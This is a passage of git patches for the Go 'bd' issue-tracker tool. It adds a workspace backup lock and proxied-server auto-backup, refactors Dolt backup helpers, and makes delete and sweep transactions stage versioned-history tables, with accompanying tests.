wantNote: "", }, } diff --git a/cmd/bd/backup_dolt.go b/cmd/bd/backup_dolt.go index 5ee084260..3e2aebbd7 100644 --- a/cmd/bd/backup_dolt.go +++ b/cmd/bd/backup_dolt.go @@ -142,6 +142,20 @@ Run 'bd backup init ' first to configure a destination.`, }() ctx := rootCtx + if usesProxiedServer() { + if err := requireLocalProxiedBackup("backup sync"); err != nil { + return err + } + } + release, err := acquireBackupLock(backupLockWait) + if err != nil { + if errors.Is(err, errBackupBusy) { + return HandleErrorRespectJSON("%v; retry when it completes", err) + } + return HandleErrorRespectJSON("%v", err) + } + defer release() + if usesProxiedServer() { return runBackupSyncProxied(ctx) } @@ -453,7 +467,7 @@ backup configuration. The backup data at the destination is not deleted.`, } // Also remove backup_export if it exists (auto-export may have created it at same URL) - _ = bs.BackupRemove(ctx, "backup_export") + _ = bs.BackupRemove(ctx, versioncontrolops.ExportBackupName) // Remove local config if path, err := doltBackupConfigPath(); err == nil { diff --git a/cmd/bd/backup_export.go b/cmd/bd/backup_export.go index 25b7ac945..654ba7c47 100644 --- a/cmd/bd/backup_export.go +++ b/cmd/bd/backup_export.go @@ -122,9 +122,35 @@ func atomicWriteFile(path string, data []byte) error { return nil } +// localBackupBackend is what a Dolt-native backup into a local directory needs +// from storage: the commit it would capture, and the backup itself. The direct +// store supplies one (directLocalBackup) and so does the proxied provider +// (proxiedLocalBackup, backup_proxied_server.go). +type localBackupBackend interface { + CurrentCommit(ctx context.Context) (string, error) + BackupToDir(ctx context.Context, dir string) error +} + +// directLocalBackup is localBackupBackend over an embedded or sql-server store. +type directLocalBackup struct { + store storage.DoltStorage +} + +func (b directLocalBackup) CurrentCommit(ctx context.Context) (string, error) { + return b.store.GetCurrentCommit(ctx) +} + +func (b directLocalBackup) BackupToDir(ctx context.Context, dir string) error { + bs, ok := storage.UnwrapStore(b.store).(storage.BackupStore) + if !ok { + return fmt.Errorf("storage backend does not support backup operations") + } + return bs.BackupDatabase(ctx, dir) +} + // runBackupExport performs a Dolt-native backup to .beads/backup/. // Returns the updated state. -func runBackupExport(ctx context.Context, force bool) (*backupState, error) { +func runBackupExport(ctx context.Context, backend localBackupBackend, force bool) (*backupState, error) { dir, err := backupDir() if err != nil { return nil, err @@ -137,7 +163,7 @@ func runBackupExport(ctx context.Context, force bool) (*backupState, error) { // Change detection: skip if nothing changed (unless forced) if !force { - currentCommit, err := store.GetCurrentCommit(ctx) + currentCommit, err := backend.CurrentCommit(ctx) if err != nil { return nil, fmt.Errorf("failed to get current commit: %w", err) } @@ -147,12 +173,7 @@ func runBackupExport(ctx context.Context, force bool) (*backupState, error) { } } - bs, ok := storage.UnwrapStore(store).(storage.BackupStore) - if !ok { - return nil, fmt.Errorf("storage backend does not support backup operations") - } - - if err := bs.BackupDatabase(ctx, dir); err != nil { + if err := backend.BackupToDir(ctx, dir); err != nil { // Persist the attempt time even on failure so the throttle // interval (checked by maybeAutoBackup via state.Timestamp) // applies to the next command. Without this, a sync that keeps @@ -170,7 +191,7 @@ func runBackupExport(ctx context.Context, force bool) (*backupState, error) { } // Update watermarks - currentCommit, err := store.GetCurrentCommit(ctx) + currentCommit, err := backend.CurrentCommit(ctx) if err != nil { return nil, fmt.Errorf("failed to get current commit for state: %w", err) } diff --git a/cmd/bd/backup_export_failure_test.go b/cmd/bd/backup_export_failure_test.go index 174756bf8..5fd22c081 100644 --- a/cmd/bd/backup_export_failure_test.go +++ b/cmd/bd/backup_export_failure_test.go @@ -63,13 +63,10 @@ func TestRunBackupExport_PersistsThrottleOnFailure(t *testing.T) { t.Fatalf("precondition: expected zero timestamp, got %v", st.Timestamp) } - oldStore := store fake := &failingBackupStore{commit: "deadbeef", backupErr: errors.New("sync to backup: server too busy")} - store = fake - t.Cleanup(func() { store = oldStore }) before := time.Now().UTC() - if _, err := runBackupExport(context.Background(), true); err == nil { + if _, err := runBackupExport(context.Background(), directLocalBackup{store: fake}, true); err == nil { t.Fatal("expected runBackupExport to return the sync error, got nil") } if fake.backupCalls != 1 { diff --git a/cmd/bd/backup_lock.go b/cmd/bd/backup_lock.go new file mode 100644 index 000000000..832159ef2 --- /dev/null +++ b/cmd/bd/backup_lock.go @@ -0,0 +1,71 @@ +package main + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "time" + + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/lockfile" +) + +// The backup lock serializes the two writers of a workspace's Dolt backup: +// post-command auto-backup and an explicit `bd backup sync`. Both run under the +// command's SHARED workspace gate, so the gate alone lets them overlap, and the +// auto-backup body does remove → add → sync on one fixed remote name — two +// concurrent runs race each other's registration and full-sync the database +// twice. Restore needs no part in it: it holds the workspace gate EXCLUSIVELY, +// which already excludes every command that could take this lock. +// +// The two callers wait differently, and deliberately: +// - auto-backup does not wait. Another backup running means one is already +// happening; it skips, and the throttle picks it up on a later command. +// - `bd backup sync` waits up to backupLockWait — the same bound an exclusive +// workspace-gate acquisition (restore) uses — and then fails with an error +// naming the busy lock, so an operator is never told it synced when it +// did not. +const backupLockFileName = "backup.lock" + +// backupLockWait bounds how long `bd backup sync` waits for another backup. +// A var so tests can shorten it. +var backupLockWait = exclusiveGateWait + +// errBackupBusy is returned when another backup holds the lock past the wait. +var errBackupBusy = errors.New("another backup is running for this workspace") + +const backupLockPoll = 50 * time.Millisecond + +// acquireBackupLock takes the workspace's backup lock, polling up to wait +// (zero means one non-blocking attempt). The returned release must be called. +func acquireBackupLock(wait time.Duration) (release func(), err error) { + beadsDir := beads.FindBeadsDir() + if beadsDir == "" { + return nil, fmt.Errorf("backup lock: %s", activeWorkspaceNotFoundError()) + } + path := filepath.Join(beadsDir, backupLockFileName) + f, err := os.OpenFile(path, os.O_RDWR|os.O_CREATE, 0o600) //nolint:gosec // path is the workspace's own lock file + if err != nil { + return nil, fmt.Errorf("backup lock: open %s: %w", path, err) + } + deadline := time.Now().Add(wait) + for { + err := lockfile.FlockExclusiveNonBlocking(f) + if err == nil { + return func() { + _ = lockfile.FlockUnlock(f) + _ = f.Close() + }, nil + } + if !lockfile.IsLocked(err) { + _ = f.Close() + return nil, fmt.Errorf("backup lock: %s: %w", path, err) + } + if !time.Now().Before(deadline) { + _ = f.Close() + return nil, errBackupBusy + } + time.Sleep(backupLockPoll) + } +} diff --git a/cmd/bd/backup_lock_test.go b/cmd/bd/backup_lock_test.go new file mode 100644 index 000000000..2248b45ad --- /dev/null +++ b/cmd/bd/backup_lock_test.go @@ -0,0 +1,133 @@ +package main + +import ( + "context" + "errors" + "os" + "strings" + "testing" + "time" +) + +// TestBackupLockSerializesBackups pins the lock itself: a second holder is +// refused while the first holds it, a bounded wait gives up with errBackupBusy, +// and releasing makes it available again. +// +// Cannot be parallel: prepareBackupStatusTest mutates package globals. +func TestBackupLockSerializesBackups(t *testing.T) { + prepareBackupStatusTest(t) + + release, err := acquireBackupLock(0) + if err != nil { + t.Fatalf("first acquisition: %v", err) + } + if _, err := acquireBackupLock(0); !errors.Is(err, errBackupBusy) { + t.Fatalf("non-blocking acquisition while held = %v, want errBackupBusy", err) + } + start := time.Now() + if _, err := acquireBackupLock(150 * time.Millisecond); !errors.Is(err, errBackupBusy) { + t.Fatalf("bounded wait while held = %v, want errBackupBusy", err) + } + if waited := time.Since(start); waited < 100*time.Millisecond { + t.Fatalf("bounded wait returned after %s; it must poll for the wait it was given", waited) + } + release() + + again, err := acquireBackupLock(0) + if err != nil { + t.Fatalf("acquisition after release: %v", err) + } + again() +} + +// TestAutoBackupSkipsWhileAnotherBackupRuns: auto-backup never waits on the +// lock. With it held the backup does not run and the throttle state is left +// alone, so the next command retries; once released, the same call backs up. +func TestAutoBackupSkipsWhileAnotherBackupRuns(t *testing.T) { + prepareBackupStatusTest(t) + t.Setenv("BD_BACKUP_ENABLED", "true") + t.Setenv("BD_BACKUP_INTERVAL", "1ms") + t.Setenv("BD_GIT_HOOK", "") + initConfigForTest(t) + + oldStore := store + fake := &failingBackupStore{commit: "c1"} + store = fake + t.Cleanup(func() { store = oldStore }) + + release, err := acquireBackupLock(0) + if err != nil { + t.Fatalf("hold the backup lock: %v", err) + } + maybeAutoBackup(context.Background()) + if fake.backupCalls != 0 { + t.Fatalf("auto-backup ran %d backup(s) while another backup held the lock", fake.backupCalls) + } + dir, err := backupDir() + if err != nil { + t.Fatal(err) + } + if st, _ := loadBackupState(dir); !st.Timestamp.IsZero() { + t.Fatalf("a skipped auto-backup advanced the throttle to %v", st.Timestamp) + } + + release() + maybeAutoBackup(context.Background()) + if fake.backupCalls != 1 { + t.Fatalf("auto-backup ran %d backup(s) after the lock was released, want 1", fake.backupCalls) + } +} + +// TestBackupSyncFailsWhenAnotherBackupHoldsTheLock: an explicit sync waits +// backupLockWait for another backup and then fails loudly, before touching the +// store — it never reports a sync it did not do. +func TestBackupSyncFailsWhenAnotherBackupHoldsTheLock(t *testing.T) { + prepareBackupStatusTest(t) + oldWait := backupLockWait + backupLockWait = 100 * time.Millisecond + t.Cleanup(func() { backupLockWait = oldWait }) + + oldStore := store + fake := &failingBackupStore{commit: "c1"} + store = fake + t.Cleanup(func() { store = oldStore }) + + release, err := acquireBackupLock(0) + if err != nil { + t.Fatalf("hold the backup lock: %v", err) + } + defer release() + + var runErr error + stderr := captureStderrForBackupLockTest(t, func() { + runErr = backupSyncCmd.RunE(backupSyncCmd, nil) + }) + if runErr == nil { + t.Fatal("bd backup sync succeeded while another backup held the lock") + } + if !strings.Contains(stderr, "another backup is running") { + t.Fatalf("sync refusal does not say why; stderr:\n%s", stderr) + } + if fake.backupCalls != 0 { + t.Fatalf("refused sync still reached the store (%d backup calls)", fake.backupCalls) + } +} + +func captureStderrForBackupLockTest(t *testing.T, fn func()) string { + t.Helper() + stdioMutex.Lock() + defer stdioMutex.Unlock() + r, w, err := os.Pipe() + if err != nil { + t.Fatal(err) + } + old := os.Stderr + os.Stderr = w + fn() + os.Stderr = old + _ = w.Close() + buf := make([]byte, 1<<16) + n, _ := r.Read(buf) + _ = r.Close() + return string(buf[:n]) +} diff --git a/cmd/bd/backup_proxied_server.go b/cmd/bd/backup_proxied_server.go index 13bfaacac..0cce7e50c 100644 --- a/cmd/bd/backup_proxied_server.go +++ b/cmd/bd/backup_proxied_server.go @@ -12,6 +12,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/debug" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" "github.com/steveyegge/beads/internal/storage/issueops" @@ -47,19 +48,83 @@ const proxiedBackupTargetName = defaultDoltBackupName // Defense in depth, not a second policy: the rule and its wording come from the // same registry row the pre-provider gate consults, so the two cannot drift. func requireLocalProxiedBackup(path string) error { - row, ok := LookupCapabilityRow(path, "") + rule, ok := proxiedBackupRule(path) if !ok { // Unreachable: TestProxyCapabilityRegistryCoversCommandTree fails the // build for a backup path with no row. Refuse rather than guess. return HandleErrorRespectJSON("%s has no proxied-server capability row", path) } - rule := row.ruleFor(resolveProxiedTopology(beads.FindBeadsDir())) if rule.Outcome == ProxyOutcomeHonored { return nil } return HandleProxyCapabilityError(proxyCapabilityErrorFor(rule)) } +// proxiedBackupRule resolves the registry rule for a backup path on this +// workspace's proxied topology. ok is false only for a path with no row. +func proxiedBackupRule(path string) (proxyCapabilityRule, bool) { + row, ok := LookupCapabilityRow(path, "") + if !ok { + return proxyCapabilityRule{}, false + } + return row.ruleFor(resolveProxiedTopology(beads.FindBeadsDir())), true +} + +// proxiedAutoBackupBackend returns the backend post-command auto-backup runs +// against on a proxied-server workspace, or ok=false when it must not run. +// +// Auto-backup is a `bd backup sync` nobody typed, so it is honored exactly +// where that verb is — the "backup sync" registry row, i.e. managed-local +// only. Anywhere else the backup remote it registers would land on a server bd +// does not own, where it is global to every client; that is the storm the +// explicit verbs refuse by design, and an implicit trigger must not reopen it. +// +// It never opens a provider of its own. A command that did not open one (or +// closed it, as restore does) has no live topology to back up, and opening one +// here would relaunch a server the command may just have stopped. +func proxiedAutoBackupBackend() (localBackupBackend, bool) { + if rule, ok := proxiedBackupRule("backup sync"); !ok || rule.Outcome != ProxyOutcomeHonored { + debug.Logf("backup: skipping auto-backup — proxied topology does not honor backup sync\n") + return nil, false + } + if uowProvider == nil { + return nil, false + } + mp, ok := uowProvider.(uow.MaintenanceProvider) + if !ok { + debug.Logf("backup: skipping auto-backup — provider %T has no maintenance seam\n", uowProvider) + return nil, false + } + return proxiedLocalBackup{provider: mp}, true +} + +// proxiedLocalBackup is localBackupBackend over the proxied provider's +// non-transactional seam, the one `bd backup sync` uses. +// +// No pre-backup commit: change detection compares HEAD, and every proxied +// write transaction already ends in DOLT_COMMIT('-Am') (uow doltServerTx), so +// HEAD is where the data is — the invariant direct mode gets from running +// auto-commit just before auto-backup. +type proxiedLocalBackup struct { + provider uow.MaintenanceProvider +} + +func (b proxiedLocalBackup) CurrentCommit(ctx context.Context) (string, error) { + var hash string + err := b.provider.RunNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + var err error + hash, err = versioncontrolops.CurrentCommit(ctx, conn) + return err + }) + return hash, err +} + +func (b proxiedLocalBackup) BackupToDir(ctx context.Context, dir string) error { + return b.provider.RunNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + return versioncontrolops.BackupToDir(ctx, conn, conn, dir) + }) +} + // proxiedActiveDatabase asks the server which database the provider opened, // rather than re-deriving it from the workspace config. The provider already // resolved that question (metadata.json, then --database/--db), and a second @@ -203,7 +268,7 @@ func runBackupRemoveProxied(ctx context.Context) error { return err } // auto-export may have registered a second remote at the same URL. - _ = versioncontrolops.BackupRemove(ctx, conn, "backup_export") + _ = versioncontrolops.BackupRemove(ctx, conn, versioncontrolops.ExportBackupName) return nil }) if err != nil { diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 7880c931c..6b8889989 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -2077,6 +2077,15 @@ var rootCmd = &cobra.Command{ if shouldAutoPruneEventsJournal(cmd) { maybeAutoPruneEventsJournal(rootCtx, beads.FindBeadsDir()) } + // Auto-backup, through the provider this command opened. Same + // gate as the direct arm's maintenance net below (strict + // --readonly, `bd serve` and a migration freeze all skip it), + // plus previews: a --dry-run must not register a backup remote + // or write backup state. proxiedAutoBackupBackend decides the + // topology, so this stays inert off managed-local. + if runsPostCommandMaintenance(cmd.Name(), readonlyMode) && !isPreviewCommand(cmd) && !commandFreeze.Frozen() { + runPostRunAutoBackup(rootCtx) + } if uowProvider != nil { _ = uowProvider.Close(rootCtx) uowProvider = nil diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index eae16e734..c9122e6fb 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -1453,44 +1453,12 @@ func (s *DoltStore) BackupRemove(ctx context.Context, name string) error { // BackupDatabase registers dir as a file:// Dolt backup remote and syncs // the full database to it, preserving complete commit history. func (s *DoltStore) BackupDatabase(ctx context.Context, dir string) error { - info, err := os.Stat(dir) - if err != nil { - return fmt.Errorf("backup destination does not exist: %w", err) - } - if !info.IsDir() { - return fmt.Errorf("backup destination is not a directory: %s", dir) - } - - backupURL, err := versioncontrolops.DirToFileURL(dir) - if err != nil { - return err - } - backupName := "backup_export" - syncDB, err := s.oneShotConn(0) if err != nil { return err } defer syncDB.Close() - - // Register as a backup remote (idempotent — remove first if exists). - _ = versioncontrolops.BackupRemove(ctx, s.db, backupName) - if err := versioncontrolops.BackupAdd(ctx, s.db, backupName, backupURL); err != nil { - // Another backup (e.g. "default" registered by `bd backup init`) may - // already point to this URL. In that case, sync using the existing - // remote name rather than failing. - if conflict := versioncontrolops.ExtractAddressConflictName(err); conflict != "" { - if syncErr := versioncontrolops.BackupSync(ctx, syncDB, conflict); syncErr != nil { - return fmt.Errorf("sync to backup: %w", syncErr) - } - return nil - } - return fmt.Errorf("register backup remote: %w", err) - } - if err := versioncontrolops.BackupSync(ctx, syncDB, backupName); err != nil { - return fmt.Errorf("sync to backup: %w", err) - } - return nil + return versioncontrolops.BackupToDir(ctx, s.db, syncDB, dir) } // RestoreDatabase restores the database from a Dolt backup at dir. diff --git a/internal/storage/dolt/versioned.go b/internal/storage/dolt/versioned.go index 7c1678355..ad0c4a7a6 100644 --- a/internal/storage/dolt/versioned.go +++ b/internal/storage/dolt/versioned.go @@ -188,12 +188,7 @@ func (s *DoltStore) ListBranches(ctx context.Context) ([]string, error) { // GetCurrentCommit returns the hash of the current HEAD commit. // Implements storage.VersionedStorage. func (s *DoltStore) GetCurrentCommit(ctx context.Context) (string, error) { - var hash string - err := s.db.QueryRowContext(ctx, "SELECT DOLT_HASHOF('HEAD')").Scan(&hash) - if err != nil { - return "", fmt.Errorf("failed to get current commit: %w", err) - } - return hash, nil + return versioncontrolops.CurrentCommit(ctx, s.db) } // GetStateHash returns a hash of the entire database including the working diff --git a/internal/storage/embeddeddolt/version_control.go b/internal/storage/embeddeddolt/version_control.go index 7a5b4d95a..2e08e5f3c 100644 --- a/internal/storage/embeddeddolt/version_control.go +++ b/internal/storage/embeddeddolt/version_control.go @@ -754,39 +754,8 @@ func (s *EmbeddedDoltStore) BackupRemove(ctx context.Context, name string) error // the database to it. The dir must exist locally. This preserves full Dolt // commit history. func (s *EmbeddedDoltStore) BackupDatabase(ctx context.Context, dir string) error { - info, err := os.Stat(dir) - if err != nil { - return fmt.Errorf("backup destination does not exist: %w", err) - } - if !info.IsDir() { - return fmt.Errorf("backup destination is not a directory: %s", dir) - } - - backupURL, err := versioncontrolops.DirToFileURL(dir) - if err != nil { - return err - } - backupName := "backup_export" - return s.withMutatingDBConn(ctx, func(db versioncontrolops.DBConn) error { - // Register as a backup remote (idempotent — remove first if exists). - _ = versioncontrolops.BackupRemove(ctx, db, backupName) - if err := versioncontrolops.BackupAdd(ctx, db, backupName, backupURL); err != nil { - // Another backup (e.g. "default" registered by `bd backup init`) may - // already point to this URL. In that case, sync using the existing - // remote name rather than failing. - if conflict := versioncontrolops.ExtractAddressConflictName(err); conflict != "" { - if syncErr := versioncontrolops.BackupSync(ctx, db, conflict); syncErr != nil { - return fmt.Errorf("sync to backup: %w", syncErr) - } - return nil - } - return fmt.Errorf("register backup remote: %w", err) - } - if err := versioncontrolops.BackupSync(ctx, db, backupName); err != nil { - return fmt.Errorf("sync to backup: %w", err) - } - return nil + return versioncontrolops.BackupToDir(ctx, db, db, dir) }) } diff --git a/internal/storage/versioncontrolops/backup.go b/internal/storage/versioncontrolops/backup.go index 56acacf27..d8dd44a4d 100644 --- a/internal/storage/versioncontrolops/backup.go +++ b/internal/storage/versioncontrolops/backup.go @@ -3,10 +3,16 @@ package versioncontrolops import ( "context" "fmt" + "os" "path/filepath" "strings" ) +// ExportBackupName is the Dolt backup remote the auto-backup path registers +// for its local backup directory. `bd backup init` registers a different +// name, so the two can coexist until they point at the same address. +const ExportBackupName = "backup_export" + // BackupAdd registers a Dolt backup destination. func BackupAdd(ctx context.Context, db DBConn, name, url string) error { if _, err := db.ExecContext(ctx, "CALL DOLT_BACKUP('add', ?, ?)", name, url); err != nil { @@ -47,6 +53,55 @@ func BackupRestore(ctx context.Context, db DBConn, url, dbName string, force boo return nil } +// CurrentCommit returns the hash of the current HEAD commit. +func CurrentCommit(ctx context.Context, db DBConn) (string, error) { + var hash string + if err := db.QueryRowContext(ctx, "SELECT DOLT_HASHOF('HEAD')").Scan(&hash); err != nil { + return "", fmt.Errorf("failed to get current commit: %w", err) + } + return hash, nil +} + +// BackupToDir registers dir as the ExportBackupName file:// backup remote and +// syncs the full database to it, preserving complete commit history. dir must +// already exist on this machine. +// +// register carries the remote add/remove; sync carries DOLT_BACKUP('sync'), +// which streams the database and can outlive a pooled connection's read +// deadline, so a caller that has one hands in a long-timeout connection there. +// A caller with a single connection passes it for both. +// +// Registration is idempotent (remove, then add). When another remote — e.g. +// the one `bd backup init` registered — already holds the same address, Dolt +// refuses the add; the sync then goes through that remote's name instead. +func BackupToDir(ctx context.Context, register, sync DBConn, dir string) error { + info, err := os.Stat(dir) + if err != nil { + return fmt.Errorf("backup destination does not exist: %w", err) + } + if !info.IsDir() { + return fmt.Errorf("backup destination is not a directory: %s", dir) + } + backupURL, err := DirToFileURL(dir) + if err != nil { + return err + } + + name := ExportBackupName + _ = BackupRemove(ctx, register, name) + if err := BackupAdd(ctx, register, name, backupURL); err != nil { + conflict := ExtractAddressConflictName(err) + if conflict == "" { + return fmt.Errorf("register backup remote: %w", err) + } + name = conflict + } + if err := BackupSync(ctx, sync, name); err != nil { + return fmt.Errorf("sync to backup: %w", err) + } + return nil +} + // DirToFileURL resolves dir to an absolute path and returns a file:// URL. // // An input that already carries a scheme is rejected rather than prefixed. diff --git a/internal/storage/versioncontrolops/backup_test.go b/internal/storage/versioncontrolops/backup_test.go index d58df7660..907b0c29c 100644 --- a/internal/storage/versioncontrolops/backup_test.go +++ b/internal/storage/versioncontrolops/backup_test.go @@ -1,7 +1,10 @@ package versioncontrolops import ( + "context" "fmt" + "os" + "path/filepath" "strings" "testing" ) @@ -74,3 +77,29 @@ func TestExtractAddressConflictName(t *testing.T) { }) } } + +// TestBackupToDirRefusesMissingOrFileDestination pins the local-directory +// precondition every auto-backup caller (embedded, sql-server and proxied) +// now shares. It fails before any SQL is issued, so nil connections are safe: +// a regression that reached the server first would panic here. +func TestBackupToDirRefusesMissingOrFileDestination(t *testing.T) { + dir := t.TempDir() + file := filepath.Join(dir, "not-a-dir") + if err := os.WriteFile(file, nil, 0o600); err != nil { + t.Fatal(err) + } + + for _, tc := range []struct { + name, dir, want string + }{ + {name: "missing", dir: filepath.Join(dir, "absent"), want: "does not exist"}, + {name: "file", dir: file, want: "is not a directory"}, + } { + t.Run(tc.name, func(t *testing.T) { + err := BackupToDir(context.Background(), nil, nil, tc.dir) + if err == nil || !strings.Contains(err.Error(), tc.want) { + t.Fatalf("BackupToDir(%q) error = %v, want one containing %q", tc.dir, err, tc.want) + } + }) + } +} From 0103d268b6ed2b6f8823648f84db8ccda72b85eb Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 03:26:05 -0700 Subject: [PATCH 173/624] fix(dolt): stage versioned-history tables on the delete/sweep role plane (post-merge #6675) (#6844) Post-merge review of #6675 (landed 53ce8b545..73702cc73) left one gating major: the server-backed delete role bypasses withVersionedHistoryTables. #6675 made every fixed-list DOLT_ADD path in internal/storage/dolt append the versioned-history tables, and said so in the helper's own doc comment ("Every fixed-list DOLT_ADD path in this package routes through here"). Two paths did not: deleter.Delete and sweeper.Sweep loop their hand-listed sweptTables directly. For the deleter that is a durability hole, not an inconsistency. A delete is a version-completeness exemption for the row it REMOVES, never for its transaction: DeleteInTx calls RewriteDeletedReferencesInTx, which updates every surviving neighbor that cites a deleted id through UpdateIssueInTx -- the minting entry point -- and commitWriteTx has scoped that transaction for minting. So a delete of a cited bead mints issue_versions and store_epoch rows inside a transaction that then stages only sweptTables and issues its own DOLT_COMMIT: the rows sit in the working set, outside the commit that describes them, unreplicated and liable to be swept into whatever unrelated commit stages next. For the two append-only tables that loss is the unrecoverable kind #6675's own hazard comment names. Both loops now route through s.withVersionedHistoryTables(sweptTables). Sweep mints nothing today (SweepInTx deletes through DeleteIssuesInTx, which rewrites no neighbor), so that half is the funnel's consistency half: it shares the table list and the minting-scoped withWriteTx with the deleter. Coverage, so the funnel comment is enforced rather than asserted: - TestEveryDoltAddStagesVersionedHistoryTables (new): every function in the package that passes a DOLT_ADD statement must route its staged set through withVersionedHistoryTables or MarkVersionedHistoryDirty, or carry an exemption reason. commitWorkingSet is the one exemption -- it stages the dolt_status-derived dirty set, so a dirty version table is already in it by construction. Same shape as TestEveryRawTxVersionScopeIsScopedOrExempt, including the exemption staleness check and the non-vacuity fatal. - TestDualWriteDeleteNeighborRewriteRidesTheDeletesDoltCommit (new): drives the minting delete path no test drove -- a neighbor citing the deleted id, Force to orphan it -- and requires dolt_status clean for issue_versions, store_epoch and issues afterwards. History is enabled AFTER the fixture rows exist so the delete's own transaction takes the first mint and seeds the epoch singleton, which is what makes the store_epoch assertion load-bearing here. Mutation evidence: - Revert deleter.go's funnel call: the guard fails naming deleter.Delete ALONE, and the new contract case fails on issue_versions and store_epoch and NOT on issues -- the delete's commit happened, only the version rows were left behind. TestDualWriteVersionRowsRideTheMutationsDoltCommit stays green, so the new case covers an arm no incumbent covered. - Revert sweeper.go's funnel call: the guard fails naming sweeper.Sweep alone and both contract cases stay green. That asymmetry is why the sweeper's coverage is the structural guard and not a behavioral pin. Also adds store_epoch to TestDualWriteVersionRowsRideTheMutationsDoltCommit's dolt_status loop -- the review's other in-file minor: the table whose loss the change calls unrecoverable was the one table that test did not assert clean -- and names the delete/sweep planes in doltAddAndCommitInTx's HAZARD surface list, whose widened-staged-set paragraph this change makes true of them too. Deliberately not here: store_epoch.bumped_at is still DATETIME(0) after 0069 widened the paired version timestamps (non-gating minor, zero Go writers today). 0069 has landed and is frozen, so the code arm is a new migration slot; filed as bd-sor0q against the phase that gives bumped_at its first writer. No CHANGELOG entry: SetVersionedHistoryEnabled still has no non-test caller, so there is no user-visible behavior change -- the same reason #6675 itself added none. Co-authored-by: Claude Opus 5 --- internal/storage/dolt/deleter.go | 12 +- .../dolt/dualwrite_history_contract_test.go | 94 +++++++++++++++- internal/storage/dolt/ephemeral_routing.go | 23 ++-- internal/storage/dolt/sweeper.go | 9 +- .../dolt/version_staging_completeness_test.go | 104 ++++++++++++++++++ 5 files changed, 229 insertions(+), 13 deletions(-) create mode 100644 internal/storage/dolt/version_staging_completeness_test.go diff --git a/internal/storage/dolt/deleter.go b/internal/storage/dolt/deleter.go index cb56798bb..9aa079497 100644 --- a/internal/storage/dolt/deleter.go +++ b/internal/storage/dolt/deleter.go @@ -83,7 +83,17 @@ func (s *deleter) Delete(ctx context.Context, req issueops.DeleteRequest) (issue } // The same tables a sweep stages; the neighbor rewrite lands in // `issues`, which is already on the list. - for _, table := range sweptTables { + // + // THE VERSIONED-HISTORY TABLES ARE NOT on that list, and the rewrite + // writes them: RewriteDeletedReferencesInTx updates every surviving + // neighbor through UpdateIssueInTx, the seam's minting entry point, and + // this transaction is scoped for minting because commitWriteTx scopes + // the transaction withWriteTx hands to the body above. Staging the + // fixed list alone would leave those rows in the working set, outside + // the commit that describes them — the exact loss withVersionedHistoryTables + // exists to prevent, and for store_epoch the unrecoverable kind (see the + // append-only note in doltAddAndCommitInTx's HAZARD block). + for _, table := range s.store.withVersionedHistoryTables(sweptTables) { _ = schema.DrainCall(ctx, tx, "CALL DOLT_ADD(?)", table) } msg := fmt.Sprintf("bd: delete %d issue(s)", result.Deleted) diff --git a/internal/storage/dolt/dualwrite_history_contract_test.go b/internal/storage/dolt/dualwrite_history_contract_test.go index 64788658d..b8baf11b5 100644 --- a/internal/storage/dolt/dualwrite_history_contract_test.go +++ b/internal/storage/dolt/dualwrite_history_contract_test.go @@ -7,6 +7,7 @@ import ( "github.com/steveyegge/beads/backend/conformance" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" ) // TestDualWriteContract runs the dual-write history contract with @@ -282,7 +283,12 @@ func TestDualWriteVersionRowsRideTheMutationsDoltCommit(t *testing.T) { t.Fatalf("issues.current_revision for %s = %d, want 1", id, currentRevision) } - for _, table := range []string{"issue_versions", "issues"} { + // All three tables issueops.VersionedHistoryStagedTables names, not just the + // two the version rows land in. store_epoch is the one whose loss this PR + // calls unrecoverable, and the first mint seeds its singleton row + // (version_history.go), so in this scenario it is guaranteed dirty-then-staged: + // a regression that dropped it from the staged set would otherwise pass here. + for _, table := range []string{"issue_versions", "store_epoch", "issues"} { var dirty int if err := store.db.QueryRowContext(ctx, `SELECT COUNT(*) FROM dolt_status WHERE table_name = ?`, table).Scan(&dirty); err != nil { @@ -293,3 +299,89 @@ func TestDualWriteVersionRowsRideTheMutationsDoltCommit(t *testing.T) { } } } + +// TestDualWriteDeleteNeighborRewriteRidesTheDeletesDoltCommit covers the +// staging plane neither DualWriteFixture nor the RunInTransaction case above can +// reach: the server-backed delete role. +// +// A delete is a version-completeness EXEMPTION for the row it removes — there is +// no surviving row to version — which is why issueops' own exemption table lists +// DeleteInTx. It is not an exemption for the TRANSACTION. DeleteInTx rewrites +// every surviving neighbor that cites a deleted id through UpdateIssueInTx, the +// minting entry point, so a delete with a neighbor really does mint; and until +// the fix this test arrived with, deleter.Delete staged its hand-listed +// sweptTables and nothing else, leaving those version rows in the working set +// while issuing its own DOLT_COMMIT. +// +// The delete path is also the only one of the three where the store_epoch +// assertion is load-bearing without arranging for it: history is turned on AFTER +// the fixture rows exist, so the delete's own transaction takes the first mint in +// this store and seeds the epoch singleton inside it. +func TestDualWriteDeleteNeighborRewriteRidesTheDeletesDoltCommit(t *testing.T) { + store, storeCleanup := setupTestStore(t) + defer storeCleanup() + ctx, cancel := testContext(t) + defer cancel() + configurer, ok := any(store).(storage.VersionedHistoryConfigurer) + if !ok { + t.Fatalf("%T does not implement storage.VersionedHistoryConfigurer", store) + } + + const target, neighbor = "dwdel-target", "dwdel-neighbor" + fixtures := []*types.Issue{ + {ID: target, Title: "doomed", IssueType: types.TypeTask, Status: types.StatusOpen}, + // The citation is what makes this a MINTING delete: the rewrite only + // touches a neighbor whose text names a deleted id. + {ID: neighbor, Title: "survivor", Description: "blocked by " + target, + IssueType: types.TypeTask, Status: types.StatusOpen}, + } + for _, issue := range fixtures { + if err := store.CreateIssue(ctx, issue, "creator"); err != nil { + t.Fatalf("create %s: %v", issue.ID, err) + } + } + // An INBOUND edge, so the neighborhood read finds the survivor at all; + // Force is then what lets the delete orphan it instead of 